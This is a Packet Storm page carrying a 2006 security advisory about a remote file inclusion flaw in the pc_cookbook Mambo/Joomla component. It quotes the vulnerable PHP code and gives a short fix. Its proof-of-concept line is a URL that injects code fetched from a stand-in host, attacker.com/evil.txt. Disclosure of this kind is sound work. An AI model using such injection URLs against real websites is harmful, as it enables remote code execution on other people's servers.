exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Echo Security Advisory 2006.37

Echo Security Advisory 2006.37
Posted Jul 12, 2006
Authored by Echo Security, Matdhule

pc_cookbook Mambo/Joomla Component versions 0.3 and below suffer from a remote file inclusion flaw.

tags | exploit, remote, file inclusion
SHA-256 | 81305486d7754754bf3b7e1425cdddd26a32b0926d6a1c06f145b0f1d3ff32d9

Echo Security Advisory 2006.37

Change Mirror Download
\_   _____/\_   ___ \ /   |   \\_____  \
| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
/_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/

.OR.ID
ECHO_ADV_37$2006

-----------------------------------------------------------------------------------------------

[ECHO_ADV_37$2006] pc_cookbook Mambo/Joomla Component <= v0.3 Remote File Include Vulnerabilities
-----------------------------------------------------------------------------------------------


Author : Ahmad Maulana a.k.a Matdhule
Date : July 10th 2006
Location : Indonesia, Jakarta
Web : http://advisories.echo.or.id/adv/adv37-matdhule-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
------------------------------------------------------------------------


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
pc_cookbook Component

Application : pc_cookbook Component
version : 0.3
URL : http://www.dianthos.net & http://www.fisheye.gr/koyansblog

------------------------------------------------------------------------


Vulnerability:
~~~~~~~~~~~~~~~

in folder com_pccookbook we found vulnerability script pccookbook.php.

-----------------------pccookbook.php----------------------
....
<?php
//pc_cookbook Component//
/**
* Content code
* @package hello_world
* Original @Copyright (C) 2005 Robert Prince
* @Copyright (C) 2005 Konstantinos (koyan) Kokkorogiannis
* @ All rights reserved
* @ pc_cookbook is Free Software
* @ Released under GNU/GPL License :
http://www.gnu.org/copyleft/gpl.html
* @version koyans 0.3
* @link http://www.dianthos.net & http://www.fisheye.gr/koyansblog
**/
global $mosConfig_absolute_path;
global $mosConfig_live_site;

// include language file, or default to english
if (file_exists ($mosConfig_absolute_path .
'/components/com_pccookbook/languages/' . $mosConfig_lang . '.php')) {
include_once ($mosConfig_absolute_path .
'/components/com_pccookbook/languages/' . $mosConfig_lang . '.php');
} else {
include_once ($mosConfig_absolute_path .
'/components/com_pccookbook/languages/english.php');
} // end if
?>
...
----------------------------------------------------------

Variables $mosConfig_absolute_path are not properly sanitized. When
register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.

Proof Of Concept:
~~~~~~~~~~~~~~~~

http://[target]/[path]/components/com_pccookbook/pccookbook.php?mosConfi
g_absolute_path=http://attacker.com/evil.txt?

Solution:
~~~~~~~~

sanitize variabel $mosConfig_absolute_path in pccookbook.php


------------------------------------------------------------------------
---
Shoutz:
~~~~~~
~ solpot a.k.a chris, J4mbi H4ck3r for the hacking lesson :)
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous
~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama
~ newbie_hacker@yahoogroups.com, jasakom_perjuangan@yahoogroups.com
~ #mardongan #jambihackerlink #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~~~~

matdhule[at]gmail[dot]com

-------------------------------- [ EOF ]----------------------------------


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    17 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close